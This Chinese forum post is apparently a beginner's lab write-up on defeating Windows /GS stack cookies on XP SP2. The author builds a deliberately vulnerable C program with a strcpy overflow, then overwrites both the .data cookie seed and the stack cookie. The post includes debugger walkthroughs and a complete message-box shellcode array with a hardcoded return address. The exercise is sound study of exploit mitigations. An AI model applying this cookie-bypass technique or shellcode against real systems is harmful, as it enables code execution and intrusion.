欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[分享]同时替换栈和.data数据节中的Cookie突破GS安全机制

[分享]同时替换栈和.data数据节中的Cookie突破GS安全机制

这段时间在学习windows平台的漏洞知识,前几天弄明白了GS,写下来与大家分享,希望对像我一样的初学者有帮助^_^。

实验环境:XPSP2,VS2008(禁用优化选项),build版本:release版本;

工具:OD,IDA。

参考书籍:《0day2:软件漏洞分析技术》第二版

      首先说明一下GS的

通过学习GS的原理可以知道,函数要正常返回需要满足的条件是:函数在返回之前Security Cookie xor EBP == 种子。

由此可以做一个假设,在函数返回之前同时修改Security Cookie和.data数据节的种子,使得函数返回的时候;Security Cookie xor EBP == 种子,就可以突破GS了。

     这里我们编写一个存在栈溢出的程序来说明这种方法。栈溢出需要关注的有这么几个位置,产生溢出的数组(缓冲区)的位置,函数返回地址,这里还需要知道Security Cookie的位置和.data数据节种子的位置。先把这几个位置确定了再来组织shellcode。这里先用8个字节的NOP填充缓冲区。

#include <stdafx.h>

#include <string.h>

#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90"//用NOP修改种子

"\x90\x90\x90\x90";

void test(char * str, int i, char * src)

{

       char dest[200];

       if(i<0x9995)

       {

              char * buf=str+i;//指向.data,i的值是main函数中申请的内存的起始地址到种子的距离

              *buf=*src;//修改.data的第一个字节

              *(buf+1)=*(src+1); //修改.data的第二个字节

              *(buf+2)=*(src+2); //修改.data的第三个字节

              *(buf+3)=*(src+3); //修改.data的第四个字节

           strcpy(dest,src);//这个函数产生溢出

       }

}

void main()

{

       char * str=(char *)malloc(0x10000);//申请一片内存,并用test函数来使用

       test(str,0xFFFF2FB8,shellcode);  

}

      将这段程序按实验环境要求编译生成一个可执行程序,载入IDA,Ctrl+L得知main函数的位置是0x004010E0。再载入OD中,Ctrl+G输入0x004010E0,来到main函数的入口,

     在OD中可以看到main函数中的两个函数。在0x004010E0下一个断点,然后F9运行到断点处,接着F8直接步过malloc()函数,在EAX中可以看到由malloc()申请的内存的起始位置是0x00410048。



      接着F8执行到test函数,缓冲区溢出发生在test函数,这里就要F7跟进去,在OD中右下角的栈区可以看到test函数的从右向左依次入栈的参数:shellcode的地址0x00403018,0xFFFF2FB8和一开始申请的内存的起始地址0x00410048。接着是函数返回地址0x00401108,在左上角的反汇编窗口中可以在0x00401013处看到“if i<0x9995”对应的汇编指令。


      在0x00401009的指令将.data开头四个字节的值,也就是种子的值赋给EAX,再与EBP异或,得到Security Cookie=0xF60A313E,并放在EBP的上面,这个时候再去test函数的栈中查看,发现EBP的上面多了一个0xF60A313E,这个值就是Security Cookie。到现在函数返回地址,.data数据节的起始位置,和Security Cookie的位置都已经知道,再往下执行就会发现缓冲区的位置,这里就是dest数组。


      前面已经知道了种子的位置是0x00403000,也知道了main函数中malloc函数申请的内存的起始地址是0x00410048,位置差为FFFF2FB8(十进制的-53320),代码中char * buf=str+i这一句的作用就是根据这个差值找到种子的位置,接着将al的值赋为NOP(0x90),然后通过al开始修改0x00403000处的种子的值


     接着是将shellcode数组的8个NOP传给test函数中的数组dest,可以在右下角的栈中看到0x0012FE94是dest数组在栈中的位置。自此,我们需要的几个位置都知道了; 

[图片:790832_EQSP67RQZXB3FWE.jpg]

     接下来重新组织shellcode。

#include <stdafx.h>

#include <string.h>

#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90"//用NOP修改种子

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//这个shellcode用来弹出一个消息框

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP

"\x90\x90\x90\x90"

"\x94\xFE\x12\x00"//address of shellcode";

void test(char * str, int i, char * src)

{

       char dest[200];

       if(i<0x9995)

       {

              char * buf=str+i;//指向.data

              *buf=*src;//修改.data的第一个字节

              *(buf+1)=*(src+1); //修改.data的第二个字节

              *(buf+2)=*(src+2); //修改.data的第三个字节

              *(buf+3)=*(src+3); //修改.data的第四个字节

           strcpy(dest,src);//这个函数产生溢出

       }

}

void main()

{

       char * str=(char *)malloc(0x10000);

       test(str,0xFFFF2FB8,shellcode);  

}



       我们知道。Shellcode是通过strcpy函数传给dest数组的,所以要将test函数的返回地址覆盖为dest数组的位置,在这里就是0x0012FE94;因为每次程序运行的时候.data数据节的种子都会变化,所以用Shell code的开头四个字节改写种子的值为四个NOP,EBP上面的Security Cookie应该被修改为NOP与EBP异或后的值,这样在test函数返回的时候Security Cookie与EBP异或得到NOP,再与.data数据节的种子比较就能通过验证,函数就可以“正常”返回,同时,函数的返回地址已经被覆盖为dest数组的位置,也就是shellcode的位置,这样就能劫持程序流程,执行shellcode。现在将代码中的shellcode[]数组的值填充为组织好的shellcode,再编译为新的可执行程序,然后向之前做的一样,在OD中可以看到:dest数组的起始位置还是0x0012FE94,而0x0012FF68处的test函数返回地址已经被0x0012FE94覆盖,EBP上面Security Cookie的值也被修改为NOP与EBP异或的值。



     函数返回后EIP指针就到0x0012FE94执行shellcode了:


     Shellcode被顺利执行,这个shellcode的作用是弹出一个对话框,说明GS被突破了。


上传的附件 GS_resplay.exe

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功